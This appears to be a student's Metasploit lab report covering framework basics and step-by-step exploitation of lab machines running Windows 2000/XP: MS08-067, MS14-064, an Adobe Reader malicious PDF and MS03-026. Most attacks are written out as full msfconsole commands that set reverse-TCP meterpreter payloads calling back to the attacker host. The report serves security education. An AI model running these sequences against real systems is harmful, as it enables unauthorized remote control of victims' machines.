一、实验目标

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1、一个主动攻击实践,如ms08_067; (1分)
2、一个针对浏览器的攻击,如ms11_050;(1分)
3、一个针对客户端的攻击,如Adobe;(1分)
4、成功应用任何一个辅助模块。(0.5分)

二、基础知识

(一)MSF架构

MSF默认存放模块目录:

/usr/share/metasploit-framework/modules/

MSF有6个模块,存放位置对应上面目录下的6个子文件夹。

1、Exploit模块
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
2、Payload模块
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload
3、Encoders模块
对payload进行加密,躲避AntiVirus检查的模块
4、Auxiliary模块
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
5、Post模块
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
6、Nops模块
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

(二)MSF常用命令

search name:用指定关键字搜索可以利用的漏洞模块
use exploit name:使用漏洞
show options:显示配置选项
set option name option:设置选项
show payloads:回链攻击载荷
show targets :显示目标(os版本)
set TARGET target number:设置目标版本
exploit:开始漏洞攻击
sessions -l:列出会话
sessions -i id:选择会话
sessions -k id:结束会话
Ctrl+z:把会话放到后台
Ctrl+c:结束会话
show auxiliary:显示辅助模块
use auxiliary name :使用辅助模块
set option name option:设置选项
exploit:运行模块

(三)msf数据库相关

db_status:查看MSF有没有连接上后台数据库。如果没有连上数据库,在终端输入msfdb start后再启动MSF。没有连接上数据库MSF也是可以使用的,只是连接上了的话,我们渗透过程中获取的一些信息可以保存下来,比如目标机器的账号密码信息等。
db_rebuild_cache:这个命令将所有模块信息缓存到数据库中,通过数据库检索效率就高很多了。
db_disconnect:断开数据库连接。
db_connect:msf默认连上postgresql的msf数据库。可以用db_connect连接我们指定的数据库。如果要使用配置文件进行连接,默认的数据库配置文件为/usr/share/metasploit-framework/config/database.yml,可以参考这个文件进行编写。
db_nmap
集成在msf中的namp扫描命令。不同的是db_nmap扫描的结果会自动保存到数据库中。
可以输入hosts查看扫描到的主机信息
如果数据多,可以用 hosts IP 进行过滤;hosts -u 查看up状态的机器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 进行搜索,比如hosts -S windows
输入services可以查看主机开放的端口情况
creds:查看扫描出来的密码信息
vulns:查看扫描出来的漏洞信息
loot:有些账号密码我们可能没有获取到明文信息,可是经过加密的hash值,可以用这个显示
db_export/db_import
数据库的导入和导出
db_export -f /root/msfbak.xml
nmap导出的也可以导入到msf中
nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml

(四)实验中相关漏洞解释

我们需要了解漏洞的特性,然后找到合适的靶机来进行实验
这里参考了张黎仙同学的博客

二、基础问题回答

(一)用自己的话解释什么是exploit,payload,encode.

1、exploit:负责负载有用代码的交通工具,先通过exploit把路打通、打开以后,好让有用代码能够作用与目的地。
2、payload:攻击者在目标系统上执行的一段攻击代码,即exploit所负载的东西。该代码具有返弹连接,创建用户,执行其他系统命令的功能。
3、encode:对payload进行再编译,一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。

三、实践过程

(一)Windows服务渗透攻击——MS08-067安全漏洞

  • 攻击机:Kali(192.168.88.138)
  • 靶机:Microsoft windows 2000(192.168.88.132)

Kali终端中输入msfconsole进入控制台
可以通过search ms08_067查找相应的漏洞模块:

Kali中依次输入一下指令对靶机进行攻击:

use exploit/windows/smb/ms08_067_netapi //选择相应的漏洞模块
show payloads //查看可使用的载荷
set payload generic/shell_reverse_tcp //tcp反向回连
show options //查看配置渗透攻击所需的配置项 
set LHOST 192.168.88.138 //攻击机ip
set LPORT 5328 //攻击端口
set RHOST 192.168.88.132 //靶机ip,特定漏洞端口已经固定
show targets //查看靶机平台 
set target 0 //自动选择目标系统类型,匹配度较高
exploit //攻击

一开始用的大二某次实验上用的Microsoft windows XP系统,然后显示会话没有建立(大多数同学都是用的XP系统,我也不太清楚为啥我没成功,可能版本)

后用Microsoft windows 2000攻击成功截图:

使用ipconfig验证是否回连正确:

(二)浏览器渗透攻击——MS11-050

  • 攻击机:Kali(192.168.88.138)
  • 靶机:Microsoft windows XP(192.168.88.133)

Kali终端中输入msfconsole进入控制台
可以通过search MS11-050查找相应的漏洞模块:

Kali中依次输入一下指令对靶机进行攻击:

use windows/browser/ms11_050_mshtml_cobjectelement //选择相应的漏洞模块
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set URIPATH ms5328  //设置访问主页的URI
set LHOST 192.168.88.138 //攻击机ip
set LPORT 5328 //攻击端口
exploit //攻击

将生成的URL地址在win XP的IE浏览器中打开

但是可以发现页面还没坚持几秒,就弹出一个提示框:

Kali中也一直没有建立会话:

尝试更改Internet的安全选项:

再次尝试建立会话(结果还是不太行):

(三)浏览器渗透攻击——MS14-064

用另一种浏览器渗透攻击进行尝试

  • 攻击机:Kali(192.168.88.138)
  • 靶机:Microsoft windows XP(192.168.88.133)

Kali终端中输入msfconsole进入控制台
可以通过search MS14-064查找相应的漏洞模块:

Kali中依次输入一下指令对靶机进行攻击:

use windows/browser/ms14_064_ole_code_execution //选择相应的漏洞模块
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set SRVHOST 192.168.186.128 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.88.138 //攻击机ip
set LPORT 5328 //攻击端口
set target 0 
exploit //攻击

将生成的URL地址在Microsoft windows XP的IE浏览器中打开,Kali中发现成功建立了一个ID为1会话:

输入sessions -i 1获取会话连接,并输入ipconfig进行验证:

(四)针对Adobe Reader软件的渗透攻击——adobe_toolbutton

  • 攻击机:Kali(192.168.88.138)
  • 靶机:Microsoft windows XP(192.168.88.133)

终端中输入msfconsole进入控制台

Kali中依次输入一下指令对靶机进行攻击:

use windows/fileformat/adobe_cooltype_sing //选择相应的漏洞模块
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set LHOST 192.168.88.138 //攻击机ip
set LPORT 5328 //攻击端口
set FILENAME 5328-3.pdf //设置生成pdf文件的名字
exploit //攻击 

将生成的pdf文件拷贝到靶机上:

kali中输入back退出当前模块,进入监听模块,输入以下指令:

use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //tcp反向连接
set LHOST 192.168.88.138 //攻击机 IP
set LPORT 5328 //攻击端口
exploit //攻击

在靶机上打开5328-3.pdf文件,攻击机显示攻击成功,并成功建立了一个ID为1会话:

输入ipconfig进行验证:

(五)应用辅助模块——MS03_026

-攻击机:Kali(192.168.88.138)

  • 靶机:Microsoft windows 2000(192.168.88.132)

终端中输入msfconsole进入控制台

通过show auxiliary指令查找辅助模块:

这里我们选用exploit/windows/dcerpc/ms03_026_dcom模块
Kali中依次输入一下指令对靶机进行攻击:

use exploit/windows/dcerpc/ms03_026_dcom //选择相应的漏洞模块
set payload windows/meterpreter/reverse_tcp //tcp反向回连
set LHOST 192.168.88.138 //攻击机ip
set LPORT 135 //攻击端口
set RHOST 192.168.88.132 //靶机ip
set RPORT 135 
run //启动

一开始用的Microsoft windows XP系统,然后显示会话没有建立:

后用Microsoft windows 2000攻击成功,并成功建立了一个ID为1会话:

输入ipconfig进行验证:

三、思考题

(一)离实战还缺些什么技术或步骤?

渗透技术需要特定的windows版本支持,条件比较苛刻。而且随着windows版本的更新,很多漏洞已经被渐渐修复,实用价值已经越来越低了攻击成功概率不高。

四、实践总结与体会

m本次实验体会到了etasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。

五、参考资料

MSF——基本使用和Exploit模块

posted on 2020-05-03 08:07  20175328李欣颖  阅读(510)  评论(0编辑  收藏  举报